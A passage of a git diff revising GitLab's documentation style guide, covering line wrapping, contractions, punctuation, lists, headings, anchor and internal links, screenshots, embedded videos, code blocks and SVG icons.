more precise and functional, such as `primary` and `secondary`. +Avoid terms that reflect negative cultural stereotypes and history. In most +cases, you can replace terms such as `master` and `slave` with terms that are +more precise and functional, such as `primary` and `secondary`. | Use | Avoid | |----------------------|-----------------------| @@ -372,8 +476,10 @@ For more information see the following [Internet Draft specification](https://to When creating documentation, limit or avoid the use of the following verb tenses, words, and phrases: -- Avoid jargon when possible, and when not possible, define the term or [link to a definition](#links-to-external-documentation). -- Avoid uncommon words when a more-common alternative is possible, ensuring that content is accessible to more readers. +- Avoid jargon when possible, and when not possible, define the term or + [link to a definition](#links-to-external-documentation). +- Avoid uncommon words when a more-common alternative is possible, ensuring that + content is accessible to more readers. - Don't write in the first person singular. (Tested in [`FirstPerson.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/FirstPerson.yml).) - Instead of "I" or "me," use "we," "you," "us," or "one." @@ -403,7 +509,7 @@ tenses, words, and phrases: - Instead of "e.g.," use "for example," "such as," "for instance," or "like." - Instead of "etc.," either use "and so on" or consider editing it out, since it can be vague. - <!-- vale gitlab.rulename = NO --> + <!-- vale gitlab.LatinTerms = YES --> - Avoid using the word *currently* when talking about the product or its features. The documentation describes the product as it is, and not as it will be at some indeterminate point in the future. @@ -435,64 +541,46 @@ tenses, words, and phrases: ### Contractions -- Use common contractions when it helps create a friendly and informal tone, especially in tutorials, instructional documentation, and [UIs](https://design.gitlab.com/content/punctuation/#contractions). (Tested in [`Contractions.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/Contractions.yml).) - - | Do | Don't | - |----------|-----------| - | it's | it is | - | can't | cannot | - | wouldn't | would not | - | you're | you are | - | you've | you have | - | haven't | have not | - | don't | do not | - | we're | we are | - | that's | that is | - | won't | will not | - -- Avoid less common contractions: - - | Do | Don't | - |--------------|-------------| - | he would | he'd | - | it will | it'll | - | should have | should've | - | there would | there'd | +Contractions are encouraged, and can create a friendly and informal tone, +especially in tutorials, instructional documentation, and +[user interfaces](https://design.gitlab.com/content/punctuation/#contractions). + +Some contractions, however, should be avoided: - Do not use contractions with a proper noun and a verb. For example: - | Do | Don't | - |----------------------|---------------------| - | GitLab is creating X | GitLab's creating X | + | Do | Don't | + |------------------------------------------|-----------------------------------------| + | GitLab is creating X. | GitLab's creating X. | - Do not use contractions when you need to emphasize a negative. For example: - | Do | Don't | - |-----------------------------|----------------------------| - | Do **not** install X with Y | **Don't** install X with Y | + | Do | Don't | + |------------------------------------------|-----------------------------------------| + | Do *not* install X with Y. | *Don't* install X with Y. | - Do not use contractions in reference documentation. For example: - | Do | Don't | - |------------------------------------------|----------------------------| - | Do **not** set a limit greater than 1000 | **Don't** set a limit greater than 1000 | - | For `parameter1`, the default is 10 | For `parameter1`, the default's 10 | + | Do | Don't | + |------------------------------------------|-----------------------------------------| + | Do *not* set a limit greater than 1000. | *Don't* set a limit greater than 1000. | + | For `parameter1`, the default is 10. | For `parameter1`, the default's 10. | - Avoid contractions in error messages. Examples: - | Do | Don't | - |------------------------------------------|----------------------------| - | Requests to localhost are not allowed | Requests to localhost aren't allowed | - | Specified URL cannot be used | Specified URL can't be used | - -<!-- vale on --> + | Do | Don't | + |------------------------------------------|-----------------------------------------| + | Requests to localhost are not allowed. | Requests to localhost aren't allowed. | + | Specified URL cannot be used. | Specified URL can't be used. | ## Text - [Write in Markdown](#markdown). -- Splitting long lines (preferably up to 100 characters) can make it easier to provide feedback on small chunks of text. +- Splitting long lines (preferably up to 100 characters) can make it easier to + provide feedback on small chunks of text. - Insert an empty line for new paragraphs. -- Insert an empty line between different markups (for example, after every paragraph, header, list, and so on). Example: +- Insert an empty line between different markups (for example, after every + paragraph, header, list, and so on). Example: ```markdown ## Header @@ -511,27 +599,27 @@ tenses, words, and phrases: ### Punctuation -Check the general punctuation rules for the GitLab documentation on the table below. -Check specific punctuation rules for [lists](#lists) below. +Review the general punctuation rules for the GitLab documentation in the +following table. Check specific punctuation rules for [lists](#lists) below. Additional examples are available in the [Pajamas guide for punctuation](https://design.gitlab.com/content/punctuation/). -| Rule | Example | -| ---- | ------- | -| Always end full sentences with a period. | _For a complete overview, read through this document._| +| Rule | Example | +|------------------------------------------------------------------|--------------------------------------------------------| +| Always end full sentences with a period. | _For a complete overview, read through this document._ | | Always add a space after a period when beginning a new sentence. | _For a complete overview, check this doc. For other references, check out this guide._ | | Do not use double spaces. (Tested in [`SentenceSpacing.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/SentenceSpacing.yml).) | --- | | Do not use tabs for indentation. Use spaces instead. You can configure your code editor to output spaces instead of tabs when pressing the tab key. | --- | | Use serial commas ("Oxford commas") before the final 'and/or' in a list. (Tested in [`OxfordComma.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/.vale/gitlab/OxfordComma.yml).) | _You can create new issues, merge requests, and milestones._ | | Always add a space before and after dashes when using it in a sentence (for replacing a comma, for example). | _You should try this - or not._ | -| Always use lowercase after a colon. | _Related Issues: a way to create a relationship between issues._ | +| Always use lowercase after a colon. | _Related Issues: a way to create a relationship between issues._ | ### Placeholder text -Often in examples, a writer will provide a command or configuration that is complete apart from -a value specific to the reader. +Often in examples, a writer will provide a command or configuration that +uses values specific to the reader. -In these cases, use [`<` and `>`](https://en.wikipedia.org/wiki/Usage_message#Pattern) to call out -where a reader must replace text with their own value. +In these cases, use [`<` and `>`](https://en.wikipedia.org/wiki/Usage_message#Pattern) +to call out where a reader must replace text with their own value. For example: @@ -539,10 +627,22 @@ For example: cp <your_source_directory> <your_destination_directory> ``` +### Keyboard commands + +Use the HTML `<kbd>` tag when referring to keystroke presses. For example: + +```plaintext +To stop the command, press <kbd>Ctrl</kbd>+<kbd>C</kbd>. +``` + +When the docs are generated, the output is: + +To stop the command, press <kbd>Ctrl</kbd>+<kbd>C</kbd>. + ## Lists -- Always start list items with a capital letter, unless they are parameters or commands - that are in backticks, or similar. +- Always start list items with a capital letter, unless they are parameters or + commands that are in backticks, or similar. - Always leave a blank line before and after a list. - Begin a line with spaces (not tabs) to denote a [nested sub-item](#nesting-inside-a-list-item). @@ -573,19 +673,19 @@ This is a list of available features: ### Markup - Use dashes (`-`) for unordered lists instead of asterisks (`*`). -- Prefix `1.` to every item in an ordered list. - When rendered, the list items will appear with sequential numbering automatically. +- Prefix `1.` to every item in an ordered list. When rendered, the list items + will appear with sequential numbering automatically. ### Punctuation - Do not add commas (`,`) or semicolons (`;`) to the end of list items. -- Only add periods to the end of a list item if the item consists of a complete sentence. - The [definition of full sentence](https://www2.le.ac.uk/offices/ld/all-resources/writing/grammar/grammar-guides/sentence) +- Only add periods to the end of a list item if the item consists of a complete + sentence. The [definition of full sentence](https://www2.le.ac.uk/offices/ld/all-resources/writing/grammar/grammar-guides/sentence) is: _"a complete sentence always contains a verb, expresses a complete idea, and makes sense standing alone"_. -- Be consistent throughout the list: if the majority of the items do not end in a period, - do not end any of the items in a period, even if they consist of a complete sentence. - The opposite is also valid: if the majority of the items end with a period, end - all with a period. +- Be consistent throughout the list: if the majority of the items do not end in + a period, do not end any of the items in a period, even if they consist of a + complete sentence. The opposite is also valid: if the majority of the items + end with a period, end all with a period. - Separate list items from explanatory text with a colon (`:`). For example: ```markdown @@ -623,16 +723,17 @@ Don't (vary use of periods; majority rules): ### Nesting inside a list item -It is possible to nest items under a list item, so that they render with the same indentation -as the list item. This can be done with: +It's possible to nest items under a list item, so that they render with the same +indentation as the list item. This can be done with: - [Code blocks](#code-blocks) - [Blockquotes](#blockquotes) - [Alert boxes](#alert-boxes) - [Images](#images) -Items nested in lists should always align with the first character of the list item. -In unordered lists (using `-`), this means two spaces for each level of indentation: +Items nested in lists should always align with the first character of the list +item. In unordered lists (using `-`), this means two spaces for each level of +indentation: ````markdown - Unordered list item 1 @@ -678,8 +779,9 @@ For ordered lists, use three spaces for each level of indentation:  ```` -You can nest full lists inside other lists using the same rules as above. If you wish -to mix types, that is also possible, as long as you don't mix items at the same level: +You can nest full lists inside other lists using the same rules as above. If you +want to mix types, that is also possible, as long as you don't mix items at the +same level: ```markdown 1. Ordered list item one. @@ -737,8 +839,10 @@ page), use the following phrases (based on the SVG icons): Valid for Markdown content only, not for front matter entries: -- Standard quotes: double quotes (`"`). Example: "This is wrapped in double quotes". -- Quote within a quote: double quotes (`"`) wrap single quotes (`'`). Example: "I am 'quoting' something within a quote". +- Standard quotes: double quotes (`"`). Example: "This is wrapped in double + quotes". +- Quote within a quote: double quotes (`"`) wrap single quotes (`'`). Example: + "I am 'quoting' something within a quote". For other punctuation rules, please refer to the [GitLab UX guide](https://design.gitlab.com/content/punctuation/). @@ -755,58 +859,66 @@ For other punctuation rules, please refer to the someone in the Merge Request. - [Avoid using symbols and special characters](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/84) in headers. Whenever possible, they should be plain and short text. -- Avoid adding things that show ephemeral statuses. For example, if a feature is - considered beta or experimental, put this information in a note, not in the heading. +- When possible, avoid including words that might change in the future. Changing + a heading changes its anchor URL, which affects other linked pages. - When introducing a new document, be careful for the headings to be grammatically and syntactically correct. Mention an [assigned technical writer (TW)](https://about.gitlab.com/handbook/product/product-categories/) for review. - This is to ensure that no document with wrong heading is going - live without an audit, thus preventing dead links and redirection issues when - corrected. + This is to ensure that no document with wrong heading is going live without an + audit, thus preventing dead links and redirection issues when corrected. - Leave exactly one blank line before and after a heading. - Do not use links in headings. -- Add the corresponding [product badge](#product-badges) according to the tier the feature belongs. -- Our docs site search engine prioritizes words used in headings and subheadings. - Make you subheading titles clear, descriptive, and complete to help users find the - right example, as shown in the section on [heading titles](#heading-titles). +- Add the corresponding [product badge](#product-badges) according to the tier the + feature belongs. +- Our documentation site search engine prioritizes words used in headings and + subheadings. Make you subheading titles clear, descriptive, and complete to help + users find the right example, as shown in the section on [heading titles](#heading-titles). - See [Capitalization](#capitalization) for guidelines on capitalizing headings. ### Heading titles -Keep heading titles clear and direct. Make every word count. To accommodate search engine optimization (SEO), use the imperative, where possible. +Keep heading titles clear and direct. Make every word count. To accommodate +search engine optimization (SEO), use the imperative, where possible. -| Do | Don't | -|:-----|:--------| -| Configure GDK | Configuring GDK | +| Do | Don't | +|:--------------------------------------|:------------------------------------------------------------| +| Configure GDK | Configuring GDK | | GitLab Release and Maintenance Policy | This section covers GitLab's Release and Maintenance Policy | -| Backport to older releases | Backporting to older releases | -| GitLab Pages examples | Examples | +| Backport to older releases | Backporting to older releases | +| GitLab Pages examples | Examples | For guidelines on capitalizing headings, see the section on [capitalization](#capitalization). NOTE: **Note:** -If you change an existing title, be careful. Any such changes may affect not only [links](#anchor-links) -within the page, but may also affect links from GitLab itself, as well as external links, to GitLab documentation. +If you change an existing title, be careful. Any such changes may affect not +only [links](#anchor-links) within the page, but may also affect links to the +GitLab documentation from both the GitLab application and external sites. ### Anchor links Headings generate anchor links automatically when rendered. `## This is an example` generates the anchor `#this-is-an-example`. -Keep in mind that the GitLab UI links to a large number of docs and respective -anchor links to take the user to the right spot. Therefore, when you change a -heading, search `doc/*`, `app/views/*`, and `ee/app/views/*` for the old anchor -to make sure you're not breaking an anchor linked from other docs nor from the -GitLab UI. If you find the old anchor, make sure to replace it with the new one. +NOTE: **Note:** +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39717) in GitLab 13.4, [product badges](#product-badges) used in headings aren't included in the +generated anchor links. For example, when you link to +`## This is an example **(CORE)**`, use the anchor `#this-is-an-example`. + +Keep in mind that the GitLab user interface links to many documentation pages +and anchor links to take the user to the right spot. Therefore, when you change +a heading, search `doc/*`, `app/views/*`, and `ee/app/views/*` for the old +anchor to make sure you're not breaking an anchor linked from other +documentation nor from the GitLab user interface. If you find the old anchor, be +sure to replace it with the new one. Important: -- Avoid crosslinking docs to headings unless you need to link to a specific section - of the document. This will avoid breaking anchors in the future in case the heading - is changed. +- Avoid crosslinking documentation to headings unless you need to link to a + specific section of the document. This will avoid breaking anchors in the + future in case the heading is changed. - If possible, avoid changing headings since they're not only linked internally. - There are various links to GitLab documentation on the internet, such as tutorials, - presentations, StackOverflow posts, and other sources. + There are various links to GitLab documentation on the internet, such as + tutorials, presentations, StackOverflow posts, and other sources. - Do not link to `h1` headings. Note that, with Kramdown, it is possible to add a custom ID to an HTML element @@ -815,16 +927,20 @@ do not use this option until further notice. ## Links -Links are important in GitLab documentation. They allow you to [link instead of summarizing](#link-instead-of-summarize) -to help preserve an [SSoT](#why-a-single-source-of-truth) within GitLab documentation. +Links are important in GitLab documentation. They allow you to [link instead of +summarizing](#link-instead-of-summarize) to help preserve a [single source of truth](#why-a-single-source-of-truth) +within GitLab documentation. We include guidance for links in the following categories: - How to set up [anchor links](#anchor-links) for headings. - How to set up [criteria](#basic-link-criteria) for configuring a link. -- What to set up when [linking to a `help`](../documentation/index.md#linking-to-help) page. -- How to set up [links to internal documentation](#links-to-internal-documentation) for cross-references. -- How to set up [links to external documentation](#links-to-external-documentation) for authoritative sources. +- What to set up when [linking to a `help`](../documentation/index.md#linking-to-help) + page. +- How to set up [links to internal documentation](#links-to-internal-documentation) + for cross-references. +- How to set up [links to external documentation](#links-to-external-documentation) + for authoritative sources. - When to use [links requiring permissions](#links-requiring-permissions). - How to set up a [link to a video](#link-to-video). - How to [include links with version text](#text-for-documentation-requiring-version-text). @@ -833,7 +949,7 @@ We include guidance for links in the following categories: ### Basic link criteria - Use inline link Markdown markup `[Text](https://example.com)`. - It's easier to read, review, and maintain. **Do not** use `[Text][identifier]`. + It's easier to read, review, and maintain. *Do not* use `[Text][identifier]`. - Use [meaningful anchor texts](https://www.futurehosting.com/blog/links-should-have-meaningful-anchor-text-heres-why/). For example, instead of writing something like `Read more about GitLab Issue Boards [here](LINK)`, @@ -842,18 +958,23 @@ We include guidance for links in the following categories: ### Links to internal documentation NOTE: **Note:** -_Internal_ refers to documentation in the same project. When linking to documentation in -separate projects (for example, linking to Omnibus docs from GitLab docs), you must use absolute -URLs. +_Internal_ refers to documentation in the same project. When linking to +documentation in separate projects (for example, linking to Omnibus documentation +from GitLab documentation), you must use absolute URLs. -Do not use absolute URLs like `https://docs.gitlab.com/ee/index.html` to crosslink -to other docs within the same project. Use relative links to the file, like `../index.md`. (These are converted to HTML when the site is rendered.) +Do not use absolute URLs like `https://docs.gitlab.com/ee/index.html` to +crosslink to other documentation within the same project. Use relative links to +the file, like `../index.md`. (These are converted to HTML when the site is +rendered.) Relative linking enables crosslinks to work: - in Review Apps, local previews, and `/help`. -- when working on the docs locally, so you can verify that they work as early as possible in the process. -- within the GitLab UI when browsing doc files in their respective repositories. For example, the links displayed at `https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/README.md`. +- when working on the documentation locally, so you can verify that they work as + early as possible in the process. +- within the GitLab user interface when browsing doc files in their respective + repositories. For example, the links displayed at + `https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/README.md`. To link to internal documentation: @@ -869,7 +990,8 @@ To link to internal documentation: Do: `../../geo/replication/troubleshooting.md` -- Always add the file name `file.md` at the end of the link with the `.md` extension, not `.html`. +- Always add the file name `file.md` at the end of the link with the `.md` + extension, not `.html`. Don't: @@ -884,28 +1006,32 @@ To link to internal documentation: - `../../issues/tags.md#stages` NOTE: **Note:** -Using the Markdown extension is necessary for the [`/help`](index.md#gitlab-help) section of GitLab. +Using the Markdown extension is necessary for the [`/help`](index.md#gitlab-help) +section of GitLab. ### Links to external documentation -When describing interactions with external software, it's often helpful to include links to external -documentation. When possible, make sure that you're linking to an [**authoritative** source](#authoritative-sources). -For example, if you're describing a feature in Microsoft's Active Directory, include a link to official Microsoft documentation. +When describing interactions with external software, it's often helpful to +include links to external documentation. When possible, make sure that you're +linking to an [**authoritative** source](#authoritative-sources). For example, +if you're describing a feature in Microsoft's Active Directory, include a link +to official Microsoft documentation. ### Authoritative sources -When citing external information, use sources that are written by the people who created -the item or product in question. These sources are the most likely to -be accurate and remain up to date. +When citing external information, use sources that are written by the people who +created the item or product in question. These sources are the most likely to be +accurate and remain up to date. Examples of authoritative sources include: -- Specifications, such as a [Request for Comments](https://www.ietf.org/standards/rfcs/) document -from the Internet Engineering Task Force. -- Official documentation for a product. For example, if you're setting up an interface with the -Google OAuth 2 authorization server, include a link to Google's documentation. -- Official documentation for a project. For example, if you're citing NodeJS functionality, -refer directly to [NodeJS documentation](https://nodejs.org/en/docs/). +- Specifications, such as a [Request for Comments](https://www.ietf.org/standards/rfcs/) + document from the Internet Engineering Task Force. +- Official documentation for a product. For example, if you're setting up an + interface with the Google OAuth 2 authorization server, include a link to + Google's documentation. +- Official documentation for a project. For example, if you're citing NodeJS + functionality, refer directly to [NodeJS documentation](https://nodejs.org/en/docs/). - Books from an authoritative publisher. Examples of sources to avoid include: @@ -916,19 +1042,22 @@ Examples of sources to avoid include: - Discussions on forums such as Stack Overflow. - Documentation from a company that describes another company's product. -While many of these sources to avoid can help you learn skills and or features, they can become -obsolete quickly. Nobody is obliged to maintain any of these sites. Therefore, we should avoid using them as reference literature. +While many of these sources to avoid can help you learn skills and or features, +they can become obsolete quickly. Nobody is obliged to maintain any of these +sites. Therefore, we should avoid using them as reference literature. NOTE: **Note:** -Non-authoritative sources are acceptable only if there is no equivalent authoritative source. -Even then, focus on non-authoritative sources that are extensively cited or peer-reviewed. +Non-authoritative sources are acceptable only if there is no equivalent +authoritative source. Even then, focus on non-authoritative sources that are +extensively cited or peer-reviewed. ### Links requiring permissions Don't link directly to: - [Confidential issues](../../user/project/issues/confidential_issues.md). -- Project features that require [special permissions](../../user/permissions.md) to view. +- Project features that require [special permissions](../../user/permissions.md) + to view. These will fail for: @@ -940,7 +1069,8 @@ Instead: - To reduce confusion, mention in the text that the information is either: - Contained in a confidential issue. - Requires special permission to a project to view. -- Provide a link in back ticks (`` ` ``) so that those with access to the issue can easily navigate to it. +- Provide a link in back ticks (`` ` ``) so that those with access to the issue + can easily navigate to it. Example: @@ -950,54 +1080,54 @@ For more information, see the [confidential issue](../../user/project/issues/con ### Link to specific lines of code -When linking to specific lines within a file, link to a commit instead of to the branch. -Lines of code change through time, therefore, linking to a line by using the commit link -ensures the user lands on the line you're referring to. The **Permalink** button, which is -available when viewing a file within a project, makes it easy to generate a link to the -most recent commit of the given file. +When linking to specific lines within a file, link to a commit instead of to the +branch. Lines of code change through time, therefore, linking to a line by using +the commit link ensures the user lands on the line you're referring to. The +**Permalink** button, which is available when viewing a file within a project, +makes it easy to generate a link to the most recent commit of the given file. -- **Do:** `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/11f17c56d8b7f0b752562d78a4298a3a95b5ce66/.gitlab/issue_templates/Feature%20proposal.md#L3)` -- **Don't:** `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal.md#L3).` +- *Do:* `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/11f17c56d8b7f0b752562d78a4298a3a95b5ce66/.gitlab/issue_templates/Feature%20proposal.md#L3)` +- *Don't:* `[link to line 3](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/issue_templates/Feature%20proposal.md#L3).` -If that linked expression is no longer in that line of the file due to further commits, you -can still search the file for that query. In this case, update the document to ensure it -links to the most recent version of the file. +If that linked expression is no longer in that line of the file due to additional +commits, you can still search the file for that query. In this case, update the +document to ensure it links to the most recent version of the file. ## Navigation -To indicate the steps of navigation through the UI: +To indicate the steps of navigation through the user interface: - Use the exact word as shown in the UI, including any capital letters as-is. -- Use bold text for navigation items and the char "greater than" (`>`) as separator - (for example, `Navigate to your project's **Settings > CI/CD**` ). -- If there are any expandable menus, make sure to mention that the user - needs to expand the tab to find the settings you're referring to (for example, `Navigate to your project's **Settings > CI/CD** and expand **General pipelines**`). +- Use bold text for navigation items and the char "greater than" (`>`) as a + separator (for example, `Navigate to your project's **Settings > CI/CD**` ). +- If there are any expandable menus, make sure to mention that the user needs to + expand the tab to find the settings you're referring to (for example, + `Navigate to your project's **Settings > CI/CD** and expand **General pipelines**`). ## Images Images, including screenshots, can help a reader better understand a concept. However, they can be hard to maintain, and should be used sparingly. -Before including an image in the documentation, ensure it provides value to the reader. +Before including an image in the documentation, ensure it provides value to the +reader. ### Capture the image -Use images to help the reader understand where they are in a process, or how they need to -interact with the application. +Use images to help the reader understand where they are in a process, or how +they need to interact with the application. When you take screenshots: - *Capture the most relevant area of the page.* Don't include unnecessary white - space or areas of the page that don't help illustrate your point. Also, don't - include the entire page if you don't have to, but also ensure the image - contains enough information to allow the user to determine where things are. -- *Be consistent.* Find a browser window size that works for you that also - displays all areas of the product, including the left navigation (usually > - 1200px wide). For consistency, use this browser window size for your - screenshots by installing a browser extension for setting a window to a - specific size (for example, - [Window Resizer](https://chrome.google.com/webstore/detail/window-resizer/kkelicaakdanhinjdeammmilcgefonfh/related?hl=en) - for Google Chrome). + space or areas of the page that don't help illustrate the point. The left + sidebar of the GitLab user interface can change, so don't include the sidebar + if it's not necessary. +- *Keep it small.* If you don't need to show the full width of the screen, don't. + A value of 1000 pixels is a good maximum width for your screenshot image. +- *Be consistent.* Coordinate screenshots with the other screenshots already on + a documentation page. For example, if other screenshots include the left + sidebar, include the sidebar in all screenshots. ### Save the image @@ -1017,15 +1147,16 @@ When you take screenshots: - Images should be used (only when necessary) to _illustrate_ the description of a process, not to _replace_ it. - Max image size: 100KB (gifs included). -- See also how to link and embed [videos](#videos) to illustrate the docs. +- See also how to link and embed [videos](#videos) to illustrate the + documentation. ### Add the image link to content The Markdown code for including an image in a document is: `` -The image description is the alt text for the rendered image on the docs site. -For accessibility and SEO, use [descriptions](https://webaim.org/techniques/alttext/) +The image description is the alt text for the rendered image on the +documentation site. For accessibility and SEO, use [descriptions](https://webaim.org/techniques/alttext/) that: - Are accurate, succinct, and unique. @@ -1036,9 +1167,9 @@ Also, if a heading immediately follows an image, be sure to add three dashes ### Remove image shadow -All images displayed on the [GitLab Docs site](https://docs.gitlab.com) have a box shadow by default. -To remove the box shadow, use the image class `.image-noshadow` applied -directly to an HTML `img` tag: +All images displayed on the [GitLab documentation site](https://docs.gitlab.com) +have a box shadow by default. To remove the box shadow, use the image class +`.image-noshadow` applied directly to an HTML `img` tag: ```html <img src="path/to/image.jpg" alt="Alt text (required)" class="image-noshadow"> @@ -1075,18 +1206,20 @@ request. ## Videos -Adding GitLab's existing YouTube video tutorials to the documentation is -highly encouraged, unless the video is outdated. Videos should not -replace documentation, but complement or illustrate it. If content in a video is -fundamental to a feature and its key use cases, but this is not adequately covered in the documentation, -add this detail to the documentation text or create an issue to review the video and do so. +Adding GitLab's existing YouTube video tutorials to the documentation is highly +encouraged, unless the video is outdated. Videos should not replace +documentation, but complement or illustrate it. If content in a video is +fundamental to a feature and its key use cases, but this is not adequately +covered in the documentation, add this detail to the documentation text or +create an issue to review the video and do so. -Do not upload videos to the product repositories. [Link](#link-to-video) or [embed](#embed-videos) them instead. +Do not upload videos to the product repositories. [Link](#link-to-video) or +[embed](#embed-videos) them instead. ### Link to video -To link out to a video, include a YouTube icon so that readers can -quickly and easily scan the page for videos before reading: +To link out to a video, include a YouTube icon so that readers can scan the page +for videos before reading: ```markdown <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> @@ -1099,26 +1232,24 @@ You can link any up-to-date video that is useful to the GitLab user. > [Introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/472) in GitLab 12.1. -The [GitLab Docs site](https://docs.gitlab.com) supports embedded videos. +The [GitLab documentation site](https://docs.gitlab.com) supports embedded +videos. -You can only embed videos from -[GitLab's official YouTube account](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg). +You can only embed videos from [GitLab's official YouTube account](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg). For videos from other sources, [link](#link-to-video) them instead. -In most cases, it is better to [link to video](#link-to-video) instead, -because an embed takes up a lot of space on the page and can be distracting -to readers. +In most cases, it is better to [link to video](#link-to-video) instead, because +an embed takes up a lot of space on the page and can be distracting to readers. -To embed a video, follow the instructions below and make sure -you have your MR reviewed and approved by a technical writer. +To embed a video, follow the instructions below and make sure you have your MR +reviewed and approved by a technical writer. -1. Copy the code below and paste it into your Markdown file. - Leave a blank line above and below it. Do NOT edit the code - (don't remove or add any spaces). -1. On YouTube, visit the video URL you want to display. Copy - the regular URL from your browser (`https://www.youtube.com/watch?v=VIDEO-ID`) - and replace the video title and link in the line under `<div class="video-fallback">`. -1. On YouTube, click **Share**, then **Embed**. +1. Copy the code below and paste it into your Markdown file. Leave a blank line + above and below it. Do *not* edit the code (don't remove or add any spaces). +1. In YouTube, visit the video URL you want to display. Copy the regular URL + from your browser (`https://www.youtube.com/watch?v=VIDEO-ID`) and replace + the video title and link in the line under `<div class="video-fallback">`. +1. In YouTube, click **Share**, and then click **Embed**. 1. Copy the `<iframe>` source (`src`) **URL only** (`https://www.youtube.com/embed/VIDEO-ID`), and paste it, replacing the content of the `src` field in the @@ -1135,7 +1266,7 @@ leave a blank line here leave a blank line here ``` -This is how it renders on the GitLab Docs site: +This is how it renders on the GitLab documentation site: <div class="video-fallback"> See the video: <a href="https://www.youtube.com/watch?v=enMumwvLAug">What is GitLab</a>. @@ -1147,26 +1278,28 @@ This is how it renders on the GitLab Docs site: > Notes: > > - The `figure` tag is required for semantic SEO and the `video_container` -class is necessary to make sure the video is responsive and displays -nicely on different mobile devices. +class is necessary to make sure the video is responsive and displays on +different mobile devices. > - The `<div class="video-fallback">` is a fallback necessary for GitLab's -`/help`, as GitLab's Markdown processor does not support iframes. It's hidden on the docs site but will be displayed on GitLab's `/help`. +`/help`, as GitLab's Markdown processor does not support iframes. It's hidden on +the documentation site, but will be displayed on GitLab's `/help`. ## Code blocks - Always wrap code added to a sentence in inline code blocks (`` ` ``). For example, `.gitlab-ci.yml`, `git add .`, `CODEOWNERS`, or `only: [master]`. - File names, commands, entries, and anything that refers to code should be added to code blocks. - To make things easier for the user, always add a full code block for things that can be - useful to copy and paste, as they can easily do it with the button on code blocks. + File names, commands, entries, and anything that refers to code should be + added to code blocks. To make things easier for the user, always add a full + code block for things that can be useful to copy and paste, as they can easily + do it with the button on code blocks. - Add a blank line above and below code blocks. -- When providing a shell command and its output, prefix the shell command with `$` and - leave a blank line between the command and the output. +- When providing a shell command and its output, prefix the shell command with `$` + and leave a blank line between the command and the output. - When providing a command without output, don't prefix the shell command with `$`. - If you need to include triple backticks inside a code block, use four backticks for the codeblock fences instead of three. -- For regular fenced code blocks, always use a highlighting class corresponding to the - language for better readability. Examples: +- For regular fenced code blocks, always use a highlighting class corresponding to + the language for better readability. Examples: ````markdown ```ruby @@ -1186,10 +1319,10 @@ nicely on different mobile devices. ``` ```` -Syntax highlighting is required for fenced code blocks added to the GitLab documentation. -Refer to the table below for the most common language classes, or check the -[complete list](https://github.com/rouge-ruby/rouge/wiki/List-of-supported-languages-and-lexers) -of language classes available. +Syntax highlighting is required for fenced code blocks added to the GitLab +documentation. Refer to the following table for the most common language classes, +or check the [complete list](https://github.com/rouge-ruby/rouge/wiki/List-of-supported-languages-and-lexers) +of available language classes: | Preferred language tags | Language aliases and notes | |-------------------------|------------------------------------------------------------------------------| @@ -1220,16 +1353,17 @@ of language classes available. | `xml` | | | `yaml` | Alias: `yml`. | -For a complete reference on code blocks, check the [Kramdown guide](https://about.gitlab.com/handbook/markdown-guide/#code-blocks). +For a complete reference on code blocks, see the [Kramdown guide](https://about.gitlab.com/handbook/markdown-guide/#code-blocks). ## GitLab SVG icons > [Introduced](https://gitlab.com/gitlab-org/gitlab-docs/-/issues/384) in GitLab 12.7. -You can use icons from the [GitLab SVG library](https://gitlab-org.gitlab.io/gitlab-svgs/) directly -in the documentation. +You can use icons from the [GitLab SVG library](https://gitlab-org.gitlab.io/gitlab-svgs/) +directly in the documentation. -This way, you can achieve a consistent look when writing about interacting with GitLab UI elements. +This way, you can achieve a consistent look when writing about interacting with +GitLab user interface elements. Usage examples: @@ -1243,7 +1377,7 @@ Usage examples: Example: `**{tanuki, 24}**` renders as: **{tanuki, 24}**. - Icon with custom size and class: `**{icon-name, size, class-name}**`. - You can access any class available to this element in GitLab docs CSS. + You can access any class available to this element in GitLab documentation CSS. Example with `float-right`, a [Bootstrap utility class](https://getbootstrap.com/docs/4.4/utilities/float/): @@ -1251,8 +1385,8 @@ Usage examples: ### When to use icons -Icons should be used sparingly, and only in ways that aid and do not hinder the readability of the -text. +Icons should be used sparingly, and only in ways that aid and do not hinder the +readability of the text. For example, the following adds little to the accompanying text: @@ -1262,54 +1396,68 @@ For example, the following adds little to the accompanying text: 1. Go to **{home}** **Project overview > Details** -However, the following might help the reader connect the text to the user interface: +However, the following might help the reader connect the text to the user +interface: ```markdown | Section | Description | |:-------------------------|:----------------------------------------------------------------------------------------------------------------------------| -| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, Runners, and Gitaly servers. | +| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, runners, and Gitaly servers. | | **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit logs. | | **{messages}** Messages | Send and manage broadcast messages for your users. | ``` | Section | Description | |:-------------------------|:----------------------------------------------------------------------------------------------------------------------------| -| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, Runners, and Gitaly servers. | +| **{overview}** Overview | View your GitLab Dashboard, and administer projects, users, groups, jobs, runners, and Gitaly servers. | | **{monitor}** Monitoring | View GitLab system information, and information on background jobs, logs, health checks, requests profiles, and audit logs. | | **{messages}** Messages | Send and manage broadcast messages for your users. | -Use an icon when you find youself having to describe an interface element. For example: +Use an icon when you find yourself having to describe an interface element. For +example: - Do: Click the Admin Area icon ( 